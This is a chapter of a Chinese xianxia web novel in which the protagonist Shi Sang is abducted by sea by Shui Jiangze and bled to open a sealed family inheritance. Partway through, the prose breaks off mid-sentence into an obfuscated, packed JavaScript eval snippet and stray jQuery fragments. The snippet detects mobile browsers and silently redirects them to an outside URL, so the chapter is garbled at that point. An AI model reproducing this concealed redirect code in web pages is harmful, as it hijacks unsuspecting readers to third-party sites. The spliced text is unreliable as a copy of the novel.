26. 第二十六章
作品:《炮灰他不想认命》 时桑再次清醒过来的时候,只有一个感觉,那就是晕,晕的他想吐。
努力睁开眼睛,视线里的木梁、舱壁都在旋转,胃里翻江倒海,一股酸意直冲喉咙。
他下意识地侧过身,撑着身下的木板床干呕了几声,却什么也吐不出来。
“嘶……”他倒吸一口凉气,抬手按在太阳穴上。
这才看清自己此刻正身处一个宽阔的船舱里,身下的木板随着某种规律微微晃动。
他挣扎着挪到舱窗边。
刹那间,刺眼的阳光混着带着咸味的海风涌了进来,让他眯起了眼。
一片望不到边际的大海,海浪拍打着船身,发出“哗啦、哗啦”的声响。
奇了怪了,眼前的环境似曾相识,但自己却想不起来是在哪里。
时桑锤了锤自己的头,一个奇异的想法涌上心头,“我不会是失忆了吧!”
就在这时,舱门“吱呀”一声被推开,水江泽走了进来,他看到窗边扶着窗框的时桑,语气不明道:“贤侄,你终于醒了。”
时桑一脸茫然,“泽叔,我们这是在哪?”
“你是不是傻了?”水江泽唇角挂着惯常的笑意,只是那笑意没抵达眼底,反倒添了几分说不清的戏谑。
他抬手掸了掸衣袍上并不存在的褶皱,语气轻松得仿佛在说件寻常事,“这里是东洲啊,眼看就要到了。”
看着水江泽那张儒雅的脸,时桑心头涌上一股说不清道不明的怪异,总觉得哪里不对劲儿。
但他聪明的没有表现出来,只是问道:“东洲?”他之前不是在北境吗,怎么会突然往东洲去?
还有那个玉牌,水江泽不是说里面是他的灵力吗?为什么捏碎后他会本尊亲临?
他张了张嘴想追问,可水江泽已经转身往舱外走,只留下句,“好好歇着,别多想。”
舱门被推开时带进一阵风,卷着水汽的凉意让时桑打了个激灵。
他几乎是下意识地想追上去问个清楚。
可就在他的手即将触到门框的瞬间,指尖却猛地撞上一层无形的阻碍。
是一层薄薄的、泛着微光的透明薄膜。
那薄膜随着他的力道微微凹陷,却始终纹丝不动,反而有种绵密的阻力反弹回来,震得他指节发麻。
是结界!
时桑猛地抬头,正撞见水江泽站在舱外,单手负在身后,另一只手的指尖似乎还凝着淡淡的灵光——显然这结界是他刚布下的。
时桑微眯双眸,“泽叔你这是什么意思?”
“说了让你好好休息。”水江泽的声音隔着结界传进来,带着点模糊的回响,“贤侄急什么?我们马上就要到了,我可不希望现在出现什么差错。”
木门关闭,时桑咬了咬牙,到现在他还有什么不明白的,自己被算计了。
或许从一开始他们相遇,就是个局。
就是不知道对方大费周章做了这么多到底想干什么了。
想到这里他下意识地调动灵力,丹田内的气息竟畅通无阻。
想来对方根本没把他这点筑基修为看在眼里,也懒得费功夫封禁了。
……
三天后。
船已靠岸,时桑被水江泽半引半带地推下了船。
时桑也终于看到了自己身处之地。
一座巨大的绿洲,悬立于一片一眼望不到尽头的大海之上,此刻他正站在绿洲之上。
这里是无相山庄搬离南洛神州后移居的地方,也就是原主曾经的家。
怪不得之前觉得眼熟。
两人沿着绿洲里的小径往前走,脚下的沙砾混着湿泥,踩上去软绵无声。
时桑轻咳一声,缓缓开了口,“你是要带我去哪?”
水江泽侧过头看他,阳光透过棕榈叶的缝隙落在他脸上。
“你想知道?”他轻笑一声,语气却没什么波澜,仿佛早已看穿他的心思,“也好,反正到了这里,告诉你也无妨。”
随后缓缓道:“我需要你的血。”
时桑心头一紧。
“无相山庄的传承,”水江泽缓缓道来,“需要时家血脉才能打开。”
“什么传承?”时桑却是猛地抬头,皱着眉头。
“时烨霖居然没告诉过你吗?看来他也没有表现的那么爱护你。”水江泽意味不明的笑了声,“怪不得你没回来过东洲,原来是毫不知情呢。”
随后又沾沾自喜道:“还有当年把那里屠戮一空的,就是我。”
看着时桑依旧冷漠的表情,水江泽哼笑一声,“看来你已经猜到了。”
时桑:“我只可惜自己猜到的太晚。”
“为了那个传承,我耗费了几百年的心血。”水江泽语气里竟带了丝不易察觉的懊悔,“可惜那时太着急了,一不小心把无相山庄上下杀尽了,直到找到传承入口的时候我才知道需要时家的血脉才能打开那扇门。”
他顿了顿,目光重新落在时桑身上,像是在看一件失而复得的珍宝,“我本以为时家已经被铲除殆尽了,没想到天不亡我,竟让我遇到了你这个漏网之鱼,想来无相山庄少主的血脉应该足够纯正,足够我得到那个传承。”
看文时直到原主身死,作者都没交代出灭无相山庄满门的最后真凶是谁,没想到这个没添的坑,倒是被这个世界自动补全了。
但现在知道这些都已经晚了。
“你不怕我知道了这些,不配合你吗?”时桑平静的跟他对视。
水江泽闻言大笑起来,带着毫不掩饰的轻蔑,“就凭你?”
他抬手随意一挥,身旁一片棕榈树竟应声而断,棵棵切口平整如镜,“还是趁早看清形势吧。”
他凑近一步,压低声音,语气带着绝对的掌控,“告诉你这些,就是让你死了那条心,从你被我找到的那一刻起,你的命,就只能为我所用了。”
时桑不甘示弱的回视对方,“那我们就拭目以待。”
水江泽没说话却是抬手强硬的拽住对方的手腕,并指为剑,划破了时桑的手腕,瞬间鲜血流了一地。
诡异的是时桑的血渗透进了杂草中竟是瞬间消失的无影无踪。
看到此等景象,水江泽却是满脸兴奋的拽着时桑继续往深处走去。
上回水江泽来的时候,也是做了准备的,但传承外的阵法一层套一层,邪乎得很。
他急着抢传承,也没心思钻研这些阵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242671|181930||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
法,直接用人命为他铺出了一条路。
前头的人刚倒下,后头的就得硬着头皮上。
水江泽跟在后头,踩着手下的尸首往前挪,好不容易挪到离入口最近的地方,最后那扇门任他施为却纹丝不动。
后来他得知没有时家的血脉,压根进不去的时候,他当时肺都快气炸了,折腾半天,还是栽在这“血脉”两字上,即使再不愿最后也只能憋着一肚子火退了回去。
这回不一样,他把时桑带在了身边,这小子身上流着时家的血。
一路上但凡遇着阵法拦路,水江泽二话不说,直接划开时桑的手腕,让血滴进阵眼里。
那血一渗进去,原本转得正欢的阵法立马就蔫了,光也暗了,墙也塌了,行走起来顺畅的不像话。
就是时桑遭罪了,脸一次比一次白,手腕上的伤口刚结好痂,下一个阵跟前又得被划开。
但水江泽看得紧,每次放完血,立马给他灌下灵丹止血。
上回栽在没有血,这回时桑的血不光要破沿途的阵,到了入口那扇门,必须还得有足够的量。
水江泽盯着时桑那副虚弱却还撑得住的样子,脚下步子反倒更快了。
也不知走了多久。
水江泽停下了脚步,左看看右看看,最后才肯定自己已经到了传承入口。
他随手捡了几块石头随后放在了几个方位上,然后缓缓注入灵力。
随着水江泽放下手,一扇古朴的石门在他们面前逐渐显现出来。
石门看着残破却顽固的伫立着,石门之上雕刻的字迹潦草,时桑靠近之后才看出这上面写的竟是时家家训。
时桑观察时神情认真,水江泽却是误解对方这是在思念家人。
水江泽现在是装也不装了,直接出声讽刺,“贤侄这是在睹物思人吗?别难过了,你们马上就要见到了。”
时桑扯起一抹假笑,悄悄翻了个白眼,“泽叔真是会说笑。”
水江泽却不在乎对方的态度,再怎么样也只是垂死挣扎罢了,他还没必要跟一个将死之人计较这些。
一路走来的情况再次重演,时桑的手腕被划破,他能明显感觉到这一次自己的伤口比前几次更深,水江泽的神情也越来越亢奋。
双手被控制在石门之上,血越流越多,石门吸收的却很快。
石门已经不甘心仅仅吸收留出来的血,甚至开始主动吸食时桑的伤口。
时桑手腕的伤口处骤然传来一阵强烈的拉扯感。
吸力越来越大,起初只是皮肉微微发颤,到后来竟连骨头都像是要被这股力道扯离原位。
他的脸色以肉眼可见的速度变的苍白,嘴唇更是泛起死灰。
与之相对的,石门却在以惊人的速度焕发生机。
原本覆盖其上的苔藓迅速枯萎、剥落。
原本被岁月腐蚀的模糊不清的时家家训,此刻却在时桑的血液浸润下一点点变得清晰。
当吸力消失时,时桑几乎要瘫软在地,浑身的血液被抽走了大半,每一次呼吸都带着撕裂般的疼痛。
就在此时。
“轰隆——”
一声巨响传来,那扇古朴的石门终于缓缓开启。